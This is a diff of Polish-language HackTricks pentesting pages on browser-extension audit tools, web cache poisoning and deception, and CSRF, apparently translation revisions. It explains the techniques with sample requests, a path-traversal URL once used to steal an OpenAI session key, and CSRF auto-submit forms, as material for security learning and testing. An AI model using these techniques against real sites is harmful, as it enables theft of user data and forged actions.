- **Viewer ostrzeżeń o uprawnieniach**: który pokazuje listę wszystkich ostrzeżeń o uprawnieniach Chrome, które będą wyświetlane po próbie zainstalowania rozszerzenia przez użytkownika.
- **Niebezpieczna funkcja**: pokazuje lokalizację niebezpiecznych funkcji, które mogą być potencjalnie wykorzystywane przez atakującego (np. funkcje takie jak innerHTML, chrome.tabs.executeScript).
- **Punkty wejścia**: pokazuje, gdzie rozszerzenie przyjmuje dane wejściowe od użytkownika/zewnętrzne. Jest to przydatne do zrozumienia powierzchni rozszerzenia i szukania potencjalnych punktów do wysyłania złośliwie skonstruowanych danych do rozszerzenia.
- Zarówno skanery Niebezpiecznych funkcji, jak i Punktów wejścia mają następujące elementy dla swoich wygenerowanych alertów:
- **Punkty wejścia**: pokazuje, gdzie rozszerzenie przyjmuje dane wejściowe od użytkownika/zewnętrzne. To jest przydatne do zrozumienia powierzchni rozszerzenia i szukania potencjalnych punktów do wysyłania złośliwie skonstruowanych danych do rozszerzenia.
- Zarówno skanery Niebezpiecznych Funkcji, jak i Punktów Wejścia mają następujące elementy dla swoich wygenerowanych alertów:
- Odpowiedni fragment kodu i linia, która spowodowała alert.
- Opis problemu.
- Przycisk „Zobacz plik”, aby zobaczyć pełny plik źródłowy zawierający kod.
- Ścieżka alertowanego pliku.
- Pełny URI rozszerzenia Chrome alertowanego pliku.
- Typ pliku, taki jak skrypt strony w tle, skrypt treści, akcja przeglądarki itp.
- Jeśli podatna linia znajduje się w pliku JavaScript, ścieżki wszystkich stron, w których jest zawarta, a także typ tych stron oraz status [web_accessible_resource](https://developer.chrome.com/extensions/manifest/web_accessible_resources).
- Jeśli podatna linia znajduje się w pliku JavaScript, ścieżki wszystkich stron, na których jest zawarta, a także typ tych stron oraz status [web_accessible_resource](https://developer.chrome.com/extensions/manifest/web_accessible_resources).
- **Analizator polityki bezpieczeństwa treści (CSP) i sprawdzacz obejść**: Wskaże słabości w CSP twojego rozszerzenia i również oświetli wszelkie potencjalne sposoby obejścia twojego CSP z powodu białych list CDN itp.
- **Znane podatne biblioteki**: Używa [Retire.js](https://retirejs.github.io/retire.js/) do sprawdzenia, czy używane są znane podatne biblioteki JavaScript.
- **Znane podatne biblioteki**: Używa [Retire.js](https://retirejs.github.io/retire.js/), aby sprawdzić, czy używane są znane podatne biblioteki JavaScript.
- Pobierz rozszerzenie i sformatowane wersje.
- Pobierz oryginalne rozszerzenie.
- Pobierz piękniejszą wersję rozszerzenia (automatycznie sformatowany HTML i JavaScript).
- Pobierz wersję rozszerzenia w formacie beautified (automatycznie sformatowany HTML i JavaScript).
- Automatyczne buforowanie wyników skanowania, uruchomienie skanowania rozszerzenia zajmie sporo czasu przy pierwszym uruchomieniu. Jednak przy drugim uruchomieniu, zakładając, że rozszerzenie nie zostało zaktualizowane, będzie prawie natychmiastowe dzięki buforowanym wynikom.
- Linkowalne adresy URL raportów, łatwo linkuj kogoś do raportu rozszerzenia wygenerowanego przez tarnish.
### [Neto](https://github.com/elevenpaths/neto)
Projekt Neto to pakiet Pythona 3 stworzony do analizy i odkrywania ukrytych funkcji wtyczek i rozszerzeń przeglądarek dla znanych przeglądarek, takich jak Firefox i Chrome. Automatyzuje proces rozpakowywania spakowanych plików, aby wydobyć te funkcje z odpowiednich zasobów w rozszerzeniu, takich jak `manifest.json`, foldery lokalizacyjne lub pliki źródłowe JavaScript i HTML.
Projekt Neto to pakiet Pythona 3 stworzony do analizy i odkrywania ukrytych funkcji wtyczek i rozszerzeń przeglądarki dla znanych przeglądarek, takich jak Firefox i Chrome. Automatyzuje proces rozpakowywania spakowanych plików, aby wydobyć te funkcje z odpowiednich zasobów w rozszerzeniu, takich jak `manifest.json`, foldery lokalizacyjne lub pliki źródłowe JavaScript i HTML.
## Odniesienia

View File

@ -1,19 +1,19 @@
# Cache Poisoning i Cache Deception
# Cache Poisoning and Cache Deception
{{#include ../../banners/hacktricks-training.md}}
## Różnica
> **Jaka jest różnica między web cache poisoning a web cache deception?**
> **Jaka jest różnica między złośliwym wykorzystaniem pamięci podręcznej a oszustwem pamięci podręcznej?**
>
> - W **web cache poisoning** atakujący powoduje, że aplikacja przechowuje złośliwą zawartość w pamięci podręcznej, a ta zawartość jest serwowana z pamięci podręcznej innym użytkownikom aplikacji.
> - W **web cache deception** atakujący powoduje, że aplikacja przechowuje w pamięci podręcznej wrażliwą zawartość należącą do innego użytkownika, a następnie atakujący odzyskuje tę zawartość z pamięci podręcznej.
> - W **złośliwym wykorzystaniu pamięci podręcznej** atakujący powoduje, że aplikacja przechowuje w pamięci podręcznej złośliwą zawartość, która jest następnie serwowana innym użytkownikom aplikacji.
> - W **oszustwie pamięci podręcznej** atakujący powoduje, że aplikacja przechowuje w pamięci podręcznej wrażliwą zawartość należącą do innego użytkownika, a następnie atakujący odzyskuje tę zawartość z pamięci podręcznej.
## Cache Poisoning
## Złośliwe wykorzystanie pamięci podręcznej
Cache poisoning ma na celu manipulację pamięcią podręczną po stronie klienta, aby zmusić klientów do ładowania zasobów, które są nieoczekiwane, częściowe lub pod kontrolą atakującego. Zakres wpływu zależy od popularności dotkniętej strony, ponieważ skażona odpowiedź jest serwowana wyłącznie użytkownikom odwiedzającym stronę w okresie zanieczyszczenia pamięci podręcznej.
Złośliwe wykorzystanie pamięci podręcznej ma na celu manipulację pamięcią podręczną po stronie klienta, aby zmusić klientów do ładowania zasobów, które są nieoczekiwane, częściowe lub pod kontrolą atakującego. Zakres wpływu zależy od popularności dotkniętej strony, ponieważ skażona odpowiedź jest serwowana wyłącznie użytkownikom odwiedzającym stronę w okresie zanieczyszczenia pamięci podręcznej.
Wykonanie ataku cache poisoning obejmuje kilka kroków:
Wykonanie ataku złośliwego wykorzystania pamięci podręcznej obejmuje kilka kroków:
1. **Identyfikacja niekluczowych wejść**: Są to parametry, które, chociaż nie są wymagane do zbuforowania żądania, mogą zmieniać odpowiedź zwracaną przez serwer. Identyfikacja tych wejść jest kluczowa, ponieważ mogą być wykorzystywane do manipulacji pamięcią podręczną.
2. **Wykorzystanie niekluczowych wejść**: Po zidentyfikowaniu niekluczowych wejść, kolejnym krokiem jest ustalenie, jak niewłaściwie wykorzystać te parametry, aby zmodyfikować odpowiedź serwera w sposób korzystny dla atakującego.
@ -50,13 +50,13 @@ Po zidentyfikowaniu parametru/nagłówka sprawdź, jak jest **sanitizowany** i *
Gdy już **zidentyfikujesz** **stronę**, którą można wykorzystać, który **parametr**/**nagłówek** użyć i **jak** go **wykorzystać**, musisz uzyskać stronę w pamięci podręcznej. W zależności od zasobu, który próbujesz umieścić w pamięci podręcznej, może to zająć trochę czasu, możesz musieć próbować przez kilka sekund.
Nagłówek **`X-Cache`** w odpowiedzi może być bardzo przydatny, ponieważ może mieć wartość **`miss`**, gdy żądanie nie zostało zapisane w pamięci podręcznej, oraz wartość **`hit`**, gdy jest w pamięci podręcznej.\
Nagłówek **`Cache-Control`** jest również interesujący, aby wiedzieć, czy zasób jest buforowany i kiedy następnym razem zasób zostanie ponownie zapisany w pamięci podręcznej: `Cache-Control: public, max-age=1800`
Nagłówek **`Cache-Control`** jest również interesujący, aby wiedzieć, czy zasób jest zapisywany w pamięci podręcznej i kiedy będzie następny raz zapisywany: `Cache-Control: public, max-age=1800`
Innym interesującym nagłówkiem jest **`Vary`**. Ten nagłówek jest często używany do **wskazywania dodatkowych nagłówków**, które są traktowane jako **część klucza pamięci podręcznej**, nawet jeśli normalnie nie są kluczowane. Dlatego, jeśli użytkownik zna `User-Agent` ofiary, którą celuje, może zanieczyścić pamięć podręczną dla użytkowników korzystających z tego konkretnego `User-Agent`.
Innym interesującym nagłówkiem jest **`Vary`**. Ten nagłówek jest często używany do **wskazywania dodatkowych nagłówków**, które są traktowane jako **część klucza pamięci podręcznej**, nawet jeśli normalnie nie są kluczowane. Dlatego, jeśli użytkownik zna `User-Agent` ofiary, którą celuje, może zanieczyścić pamięć podręczną dla użytkowników używających tego konkretnego `User-Agent`.
Jeszcze jednym nagłówkiem związanym z pamięcią podręczną jest **`Age`**. Określa czas w sekundach, przez jaki obiekt był w pamięci podręcznej proxy.
Podczas buforowania żądania, bądź **ostrożny z nagłówkami, których używasz**, ponieważ niektóre z nich mogą być **używane w sposób nieoczekiwany** jako **kluczowane**, a **ofiara będzie musiała użyć tego samego nagłówka**. Zawsze **testuj** zanieczyszczenie pamięci podręcznej przy użyciu **różnych przeglądarek**, aby sprawdzić, czy działa.
Podczas cachowania żądania, bądź **ostrożny z nagłówkami, których używasz**, ponieważ niektóre z nich mogą być **używane w sposób nieoczekiwany** jako **kluczowane**, a **ofiara będzie musiała użyć tego samego nagłówka**. Zawsze **testuj** zanieczyszczenie pamięci podręcznej przy użyciu **różnych przeglądarek**, aby sprawdzić, czy działa.
## Przykłady wykorzystania
@ -97,7 +97,7 @@ cache-poisoning-via-url-discrepancies.md
### Zatrucie pamięci podręcznej z wykorzystaniem przejścia ścieżki w celu kradzieży klucza API <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
[**Ten artykuł wyjaśnia**](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html), jak możliwe było skradzenie klucza API OpenAI za pomocą adresu URL takiego jak `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123`, ponieważ wszystko, co pasuje do `/share/*`, będzie buforowane bez normalizacji URL przez Cloudflare, co miało miejsce, gdy żądanie dotarło do serwera webowego.
[**Ten artykuł wyjaśnia**](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html) jak możliwe było skradzenie klucza API OpenAI za pomocą URL-a takiego jak `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123`, ponieważ wszystko, co pasuje do `/share/*`, będzie buforowane bez normalizacji URL przez Cloudflare, co miało miejsce, gdy żądanie dotarło do serwera webowego.
Jest to również lepiej wyjaśnione w:
@ -116,7 +116,7 @@ X-Forwarded-Scheme: http
```
### Wykorzystywanie z ograniczonym nagłówkiem `Vary`
Jeśli odkryłeś, że nagłówek **`X-Host`** jest używany jako **nazwa domeny do ładowania zasobu JS**, ale nagłówek **`Vary`** w odpowiedzi wskazuje na **`User-Agent`**. W takim razie musisz znaleźć sposób na wyekstrahowanie User-Agent ofiary i zanieczyszczenie pamięci podręcznej przy użyciu tego user agenta:
Jeśli odkryłeś, że nagłówek **`X-Host`** jest używany jako **nazwa domeny do ładowania zasobu JS**, ale nagłówek **`Vary`** w odpowiedzi wskazuje na **`User-Agent`**. W takim przypadku musisz znaleźć sposób na wyekstrahowanie User-Agent ofiary i zanieczyszczenie pamięci podręcznej, używając tego user agenta:
```markup
GET / HTTP/1.1
Host: vulnerbale.net
@ -136,27 +136,27 @@ report=innocent-victim
```
There it a portswigger lab about this: [https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get)
### Ukrywanie parametrów
### Parameter Cloacking
Na przykład, możliwe jest oddzielenie **parametrów** w serwerach ruby za pomocą znaku **`;`** zamiast **`&`**. Może to być użyte do umieszczania wartości parametrów bez kluczy wewnątrz tych z kluczami i ich nadużywania.
Portswigger lab: [https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking)
### Wykorzystywanie złośliwego cache HTTP poprzez nadużywanie HTTP Request Smuggling
### Exploiting HTTP Cache Poisoning by abusing HTTP Request Smuggling
Dowiedz się tutaj, jak przeprowadzać [ataki Cache Poisoning, nadużywając HTTP Request Smuggling](../http-request-smuggling/#using-http-request-smuggling-to-perform-web-cache-poisoning).
Dowiedz się tutaj, jak przeprowadzać [ataki Cache Poisoning, nadużywając HTTP Request Smuggling](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-poisoning).
### Automatyczne testowanie dla Web Cache Poisoning
### Automated testing for Web Cache Poisoning
[Web Cache Vulnerability Scanner](https://github.com/Hackmanit/Web-Cache-Vulnerability-Scanner) może być używany do automatycznego testowania pod kątem web cache poisoning. Obsługuje wiele różnych technik i jest wysoce konfigurowalny.
Przykład użycia: `wcvs -u example.com`
## Przykłady podatności
## Vulnerable Examples
### Apache Traffic Server ([CVE-2021-27577](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-27577))
ATS przesłał fragment wewnątrz URL bez jego usuwania i wygenerował klucz cache tylko przy użyciu hosta, ścieżki i zapytania (ignorując fragment). Tak więc żądanie `/#/../?r=javascript:alert(1)` zostało wysłane do backendu jako `/#/../?r=javascript:alert(1)` i klucz cache nie zawierał ładunku, tylko host, ścieżkę i zapytanie.
ATS przesłał fragment w URL bez jego usuwania i wygenerował klucz cache tylko przy użyciu hosta, ścieżki i zapytania (ignorując fragment). Tak więc żądanie `/#/../?r=javascript:alert(1)` zostało wysłane do backendu jako `/#/../?r=javascript:alert(1)` i klucz cache nie zawierał ładunku, tylko host, ścieżkę i zapytanie.
### GitHub CP-DoS
@ -168,33 +168,33 @@ GitLab używa koszy GCP do przechowywania treści statycznych. **GCP Buckets** o
### Rack Middleware (Ruby on Rails)
W aplikacjach Ruby on Rails często wykorzystywane jest middleware Rack. Celem kodu Rack jest pobranie wartości nagłówka **`x-forwarded-scheme`** i ustawienie jej jako schematu żądania. Gdy nagłówek `x-forwarded-scheme: http` jest wysyłany, następuje przekierowanie 301 do tej samej lokalizacji, co potencjalnie może spowodować Denial of Service (DoS) dla tego zasobu. Dodatkowo, aplikacja może uznawać nagłówek `X-forwarded-host` i przekierowywać użytkowników do określonego hosta. To zachowanie może prowadzić do ładowania plików JavaScript z serwera atakującego, co stanowi zagrożenie dla bezpieczeństwa.
W aplikacjach Ruby on Rails często wykorzystywane jest middleware Rack. Celem kodu Rack jest pobranie wartości nagłówka **`x-forwarded-scheme`** i ustawienie jej jako schematu żądania. Gdy nagłówek `x-forwarded-scheme: http` jest wysyłany, następuje przekierowanie 301 do tej samej lokalizacji, co potencjalnie może spowodować Denial of Service (DoS) dla tego zasobu. Dodatkowo aplikacja może uznawać nagłówek `X-forwarded-host` i przekierowywać użytkowników do określonego hosta. To zachowanie może prowadzić do ładowania plików JavaScript z serwera atakującego, co stanowi zagrożenie dla bezpieczeństwa.
### 403 i koszyki pamięci
### 403 and Storage Buckets
Cloudflare wcześniej buforował odpowiedzi 403. Próba dostępu do S3 lub Azure Storage Blobs z nieprawidłowymi nagłówkami autoryzacji skutkowała odpowiedzią 403, która była buforowana. Chociaż Cloudflare przestał buforować odpowiedzi 403, to zachowanie może nadal występować w innych usługach proxy.
Cloudflare wcześniej cache'ował odpowiedzi 403. Próba dostępu do S3 lub Azure Storage Blobs z nieprawidłowymi nagłówkami autoryzacji skutkowała odpowiedzią 403, która była cache'owana. Chociaż Cloudflare przestał cache'ować odpowiedzi 403, to zachowanie może nadal występować w innych usługach proxy.
### Wstrzykiwanie parametrów z kluczami
### Injecting Keyed Parameters
Cache często zawiera konkretne parametry GET w kluczu cache. Na przykład, Varnish Fastly buforował parametr `size` w żądaniach. Jednak jeśli wysłano również zakodowaną wersję parametru (np. `siz%65`) z błędną wartością, klucz cache byłby skonstruowany przy użyciu poprawnego parametru `size`. Jednak backend przetwarzałby wartość w zakodowanym parametrze. Zakodowanie drugiego parametru `size` prowadziło do jego pominięcia przez cache, ale jego wykorzystania przez backend. Przypisanie wartości 0 do tego parametru skutkowało buforowalnym błędem 400 Bad Request.
Cache często zawiera konkretne parametry GET w kluczu cache. Na przykład, Varnish Fastly cache'ował parametr `size` w żądaniach. Jednak jeśli wysłano również URL-encoded wersję parametru (np. `siz%65`) z błędną wartością, klucz cache byłby skonstruowany przy użyciu poprawnego parametru `size`. Jednak backend przetwarzałby wartość w URL-encoded parametrze. URL-encoding drugiego parametru `size` prowadził do jego pominięcia przez cache, ale jego wykorzystania przez backend. Przypisanie wartości 0 do tego parametru skutkowało błędem 400 Bad Request, który można było cache'ować.
### Zasady User Agent
### User Agent Rules
Niektórzy deweloperzy blokują żądania z user-agentami odpowiadającymi narzędziom o dużym ruchu, takim jak FFUF czy Nuclei, aby zarządzać obciążeniem serwera. Ironią jest to, że podejście to może wprowadzać luki, takie jak zanieczyszczenie cache i DoS.
Niektórzy deweloperzy blokują żądania z user-agentami odpowiadającymi narzędziom o dużym ruchu, takim jak FFUF czy Nuclei, aby zarządzać obciążeniem serwera. Ironią jest to, że podejście to może wprowadzać luki, takie jak cache poisoning i DoS.
### Nieprawidłowe pola nagłówków
### Illegal Header Fields
[RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230) określa akceptowalne znaki w nazwach nagłówków. Nagłówki zawierające znaki spoza określonego zakresu **tchar** powinny idealnie wyzwalać odpowiedź 400 Bad Request. W praktyce serwery nie zawsze przestrzegają tego standardu. Znaczącym przykładem jest Akamai, które przesyła nagłówki z nieprawidłowymi znakami i buforuje każdy błąd 400, o ile nagłówek `cache-control` nie jest obecny. Zidentyfikowano wzorzec, w którym wysłanie nagłówka z nieprawidłowym znakiem, takim jak `\`, skutkowało buforowalnym błędem 400 Bad Request.
[RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230) określa akceptowalne znaki w nazwach nagłówków. Nagłówki zawierające znaki spoza określonego zakresu **tchar** powinny idealnie wyzwalać odpowiedź 400 Bad Request. W praktyce serwery nie zawsze przestrzegają tego standardu. Znaczącym przykładem jest Akamai, które przesyła nagłówki z nieprawidłowymi znakami i cache'uje każdy błąd 400, o ile nagłówek `cache-control` nie jest obecny. Zidentyfikowano wzorzec, w którym wysłanie nagłówka z nielegalnym znakiem, takim jak `\`, skutkowało cache'owalnym błędem 400 Bad Request.
### Znajdowanie nowych nagłówków
### Finding new headers
[https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6](https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6)
## Oszustwo cache
## Cache Deception
Celem Oszustwa cache jest sprawienie, aby klienci **ładowali zasoby, które mają być zapisane w cache z ich wrażliwymi informacjami**.
Celem Cache Deception jest sprawienie, aby klienci **ładowali zasoby, które mają być zapisane w cache z ich wrażliwymi informacjami**.
Przede wszystkim zauważ, że **rozszerzenia** takie jak `.css`, `.js`, `.png` itp. są zazwyczaj **konfigurowane** do **zapisywania** w **cache.** Dlatego, jeśli uzyskasz dostęp do `www.example.com/profile.php/nonexistent.js`, cache prawdopodobnie zapisze odpowiedź, ponieważ widzi rozszerzenie `.js`. Ale, jeśli **aplikacja** odpowiada **wrażliwymi** treściami użytkownika przechowywanymi w _www.example.com/profile.php_, możesz **ukraść** te treści od innych użytkowników.
Przede wszystkim należy zauważ, że **rozszerzenia** takie jak `.css`, `.js`, `.png` itp. są zazwyczaj **konfigurowane** do **zapisywania** w **cache.** Dlatego, jeśli uzyskasz dostęp do `www.example.com/profile.php/nonexistent.js`, cache prawdopodobnie zapisze odpowiedź, ponieważ widzi rozszerzenie `.js`. Ale, jeśli **aplikacja** odpowiada **wrażliwymi** treściami użytkownika przechowywanymi w _www.example.com/profile.php_, możesz **ukraść** te treści od innych użytkowników.
Inne rzeczy do przetestowania:
@ -207,17 +207,17 @@ Inne rzeczy do przetestowania:
Inny bardzo jasny przykład można znaleźć w tym opisie: [https://hackerone.com/reports/593712](https://hackerone.com/reports/593712).\
W przykładzie wyjaśniono, że jeśli załadujesz nieistniejącą stronę, taką jak _http://www.example.com/home.php/non-existent.css_, treść _http://www.example.com/home.php_ (**z wrażliwymi informacjami użytkownika**) zostanie zwrócona, a serwer cache zapisze wynik.\
Następnie, **atakujący** może uzyskać dostęp do _http://www.example.com/home.php/non-existent.css_ w swojej przeglądarce i obserwować **poufne informacje** użytkowników, którzy uzyskali dostęp wcześniej.
Następnie **atakujący** może uzyskać dostęp do _http://www.example.com/home.php/non-existent.css_ w swojej przeglądarce i obserwować **poufne informacje** użytkowników, którzy uzyskali dostęp wcześniej.
Zauważ, że **proxy cache** powinno być **skonfigurowane** do **buforowania** plików **na podstawie** **rozszerzenia** pliku (_.css_) a nie na podstawie typu zawartości. W przykładzie _http://www.example.com/home.php/non-existent.css_ będzie miało typ zawartości `text/html` zamiast `text/css` (co jest oczekiwane dla pliku _.css_).
Zauważ, że **cache proxy** powinno być **skonfigurowane** do **cache'owania** plików **na podstawie** **rozszerzenia** pliku (_.css_) a nie na podstawie content-type. W przykładzie _http://www.example.com/home.php/non-existent.css_ będzie miało `text/html` content-type zamiast `text/css` mime type (co jest oczekiwane dla pliku _.css_).
Dowiedz się tutaj, jak przeprowadzać [ataki Oszustwa cache, nadużywając HTTP Request Smuggling](../http-request-smuggling/#using-http-request-smuggling-to-perform-web-cache-deception).
Dowiedz się tutaj, jak przeprowadzać [ataki Cache Deceptions, nadużywając HTTP Request Smuggling](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-deception).
## Narzędzia automatyczne
## Automatic Tools
- [**toxicache**](https://github.com/xhzeem/toxicache): skaner Golang do znajdowania luk w web cache poisoning w liście URL i testowania wielu technik wstrzykiwania.
## Odniesienia
## References
- [https://portswigger.net/web-security/web-cache-poisoning](https://portswigger.net/web-security/web-cache-poisoning)
- [https://portswigger.net/web-security/web-cache-poisoning/exploiting#using-web-cache-poisoning-to-exploit-cookie-handling-vulnerabilities](https://portswigger.net/web-security/web-cache-poisoning/exploiting#using-web-cache-poisoning-to-exploit-cookie-handling-vulnerabilities)

View File

@ -4,7 +4,7 @@
## Wyjaśnienie Cross-Site Request Forgery (CSRF)
**Cross-Site Request Forgery (CSRF)** to rodzaj luki w zabezpieczeniach występującej w aplikacjach internetowych. Umożliwia atakującym wykonywanie działań w imieniu nieświadomych użytkowników, wykorzystując ich uwierzytelnione sesje. Atak jest realizowany, gdy użytkownik, który jest zalogowany na platformie ofiary, odwiedza złośliwą stronę. Strona ta następnie wywołuje żądania do konta ofiary za pomocą metod takich jak wykonywanie JavaScript, przesyłanie formularzy lub pobieranie obrazów.
**Cross-Site Request Forgery (CSRF)** to rodzaj luki w zabezpieczeniach występującej w aplikacjach internetowych. Umożliwia ona atakującym wykonywanie działań w imieniu nieświadomych użytkowników, wykorzystując ich uwierzytelnione sesje. Atak jest realizowany, gdy użytkownik, który jest zalogowany na platformie ofiary, odwiedza złośliwą stronę. Strona ta następnie wywołuje żądania do konta ofiary za pomocą metod takich jak wykonywanie JavaScript, przesyłanie formularzy lub pobieranie obrazów.
### Wymagania wstępne do ataku CSRF
@ -24,13 +24,13 @@ Możesz **przechwycić żądanie w Burp** i sprawdzić zabezpieczenia CSRF, a ab
Można wdrożyć kilka środków zaradczych, aby chronić przed atakami CSRF:
- [**Ciasteczka SameSite**](hacking-with-cookies/#samesite): Atrybut ten zapobiega przeglądarce w wysyłaniu ciasteczek wraz z żądaniami między witrynami. [Więcej o ciasteczkach SameSite](hacking-with-cookies/#samesite).
- [**Ciasteczka SameSite**](hacking-with-cookies/index.html#samesite): Atrybut ten zapobiega przeglądarce wysyłaniu ciasteczek wraz z żądaniami między witrynami. [Więcej o ciasteczkach SameSite](hacking-with-cookies/index.html#samesite).
- [**Udostępnianie zasobów między źródłami**](cors-bypass.md): Polityka CORS witryny ofiary może wpływać na wykonalność ataku, szczególnie jeśli atak wymaga odczytania odpowiedzi z witryny ofiary. [Dowiedz się o obejściu CORS](cors-bypass.md).
- **Weryfikacja użytkownika**: Prośba o hasło użytkownika lub rozwiązanie captcha może potwierdzić intencje użytkownika.
- **Sprawdzanie nagłówków Referrer lub Origin**: Walidacja tych nagłówków może pomóc upewnić się, że żądania pochodzą z zaufanych źródeł. Jednak staranne konstruowanie adresów URL może obejść źle wdrożone kontrole, takie jak:
- **Sprawdzanie nagłówków Referrer lub Origin**: Walidacja tych nagłówków może pomóc zapewnić, że żądania pochodzą z zaufanych źródeł. Jednak staranne konstruowanie adresów URL może obejść źle wdrożone kontrole, takie jak:
- Użycie `http://mal.net?orig=http://example.com` (adres URL kończy się zaufanym adresem URL)
- Użycie `http://example.com.mal.net` (adres URL zaczyna się zaufanym adresem URL)
- **Modyfikacja nazw parametrów**: Zmiana nazw parametrów w żądaniach POST lub GET może pomóc w zapobieganiu zautomatyzowanym atakom.
- **Modyfikacja nazw parametrów**: Zmiana nazw parametrów w żądaniach POST lub GET może pomóc w zapobieganiu automatycznym atakom.
- **Tokeny CSRF**: Wprowadzenie unikalnego tokena CSRF w każdej sesji i wymaganie tego tokena w kolejnych żądaniach może znacznie zmniejszyć ryzyko CSRF. Skuteczność tokena można zwiększyć poprzez egzekwowanie CORS.
Zrozumienie i wdrożenie tych zabezpieczeń jest kluczowe dla utrzymania bezpieczeństwa i integralności aplikacji internetowych.
@ -39,7 +39,7 @@ Zrozumienie i wdrożenie tych zabezpieczeń jest kluczowe dla utrzymania bezpiec
### Z POST do GET
Może się zdarzyć, że formularz, który chcesz wykorzystać, jest przygotowany do wysyłania **żądania POST z tokenem CSRF, ale** powinieneś **sprawdzić**, czy **GET** jest również **ważny** i czy podczas wysyłania żądania GET **token CSRF nadal jest weryfikowany**.
Może się zdarzyć, że formularz, który chcesz wykorzystać, jest przygotowany do wysyłania **żądania POST z tokenem CSRF, ale** powinieneś **sprawdzić**, czy **GET** jest również **ważny** i czy podczas wysyłania żądania GET **token CSRF jest nadal weryfikowany**.
### Brak tokena
@ -69,14 +69,14 @@ Może to również działać, wysyłając **parametr \_method wewnątrz żądani
### Obejście tokena nagłówka niestandardowego
Jeśli żądanie dodaje **niestandardowy nagłówek** z **tokenem** do żądania jako **metodę ochrony CSRF**, to:
Jeśli żądanie dodaje **niestandardowy nagłówek** z **tokenem** jako **metodą ochrony CSRF**, to:
- Przetestuj żądanie bez **Niestandardowego Tokena i również nagłówka.**
- Przetestuj żądanie bez **Niestandardowego Tokena i nagłówka.**
- Przetestuj żądanie z dokładnie **tą samą długością, ale innym tokenem**.
### Token CSRF jest weryfikowany przez ciasteczko
Aplikacje mogą wdrożyć ochronę CSRF, duplikując token zarówno w ciasteczku, jak i w parametrze żądania lub ustawiając ciasteczko CSRF i weryfikując, czy token wysłany w backendzie odpowiada wartości w ciasteczku. Aplikacja weryfikuje żądania, sprawdzając, czy token w parametrze żądania zgadza się z wartością w ciasteczku.
Aplikacje mogą wdrożyć ochronę CSRF, duplikując token zarówno w ciasteczku, jak i w parametrze żądania lub ustawiając ciasteczko CSRF i weryfikując, czy token wysłany w backendzie odpowiada wartości w ciasteczku. Aplikacja weryfikuje żądania, sprawdzając, czy token w parametrze żądania odpowiada wartości w ciasteczku.
Jednak ta metoda jest podatna na ataki CSRF, jeśli witryna ma luki umożliwiające atakującemu ustawienie ciasteczka CSRF w przeglądarce ofiary, takie jak luka CRLF. Atakujący mogą to wykorzystać, ładując zwodniczy obraz, który ustawia ciasteczko, a następnie inicjując atak CSRF.
@ -107,7 +107,7 @@ onerror="document.forms[0].submit();" />
### Zmiana Content-Type
Zgodnie z [**tym**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple_requests), aby **uniknąć** żądań preflight przy użyciu metody **POST**, dozwolone wartości Content-Type to:
Zgodnie z [**tym**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple_requests), aby **uniknąć** żądań **preflight** przy użyciu metody **POST**, dozwolone wartości Content-Type to:
- **`application/x-www-form-urlencoded`**
- **`multipart/form-data`**
@ -140,19 +140,19 @@ Podczas próby wysłania danych JSON za pomocą żądania POST, użycie `Content
1. **Użyj alternatywnych typów treści**: Zastosuj `Content-Type: text/plain` lub `Content-Type: application/x-www-form-urlencoded`, ustawiając `enctype="text/plain"` w formularzu. To podejście testuje, czy backend wykorzystuje dane niezależnie od Content-Type.
2. **Zmień typ treści**: Aby uniknąć żądania wstępnego, zapewniając jednocześnie, że serwer rozpoznaje treść jako JSON, możesz wysłać dane z `Content-Type: text/plain; application/json`. To nie wywołuje żądania wstępnego, ale może być poprawnie przetwarzane przez serwer, jeśli jest skonfigurowany do akceptacji `application/json`.
3. **Wykorzystanie pliku SWF Flash**: Mniej powszechny, ale wykonalny sposób polega na użyciu pliku SWF Flash, aby obejść takie ograniczenia. Aby uzyskać szczegółowe informacje na temat tej techniki, zapoznaj się z [tym postem](https://anonymousyogi.medium.com/json-csrf-csrf-that-none-talks-about-c2bf9a480937).
3. **Wykorzystanie pliku SWF Flash**: Mniej powszechną, ale wykonalną metodą jest użycie pliku SWF Flash do ominięcia takich ograniczeń. Aby uzyskać szczegółowe informacje na temat tej techniki, zapoznaj się z [tym postem](https://anonymousyogi.medium.com/json-csrf-csrf-that-none-talks-about-c2bf9a480937).
### Ominięcie sprawdzania Referrer / Origin
**Unikaj nagłówka Referrer**
Aplikacje mogą weryfikować nagłówek 'Referer' tylko wtedy, gdy jest obecny. Aby zapobiec przeglądarce wysyłaniu tego nagłówka, można użyć następującego tagu meta HTML:
Aplikacje mogą weryfikować nagłówek 'Referer' tylko wtedy, gdy jest obecny. Aby zapobiec wysyłaniu tego nagłówka przez przeglądarkę, można użyć następującego tagu meta HTML:
```xml
<meta name="referrer" content="never">
```
To zapewnia, że nagłówek 'Referer' jest pomijany, co potencjalnie omija kontrole walidacji w niektórych aplikacjach.
To zapewnia, że nagłówek 'Referer' jest pomijany, co może umożliwić ominięcie kontroli walidacji w niektórych aplikacjach.
**Obejścia Regexp**
**Ominięcia Regexp**
{{#ref}}
ssrf-server-side-request-forgery/url-format-bypass.md
@ -187,17 +187,17 @@ document.forms[0].submit()
</body>
</html>
```
### **Ominięcie metody HEAD**
### **Obejście metody HEAD**
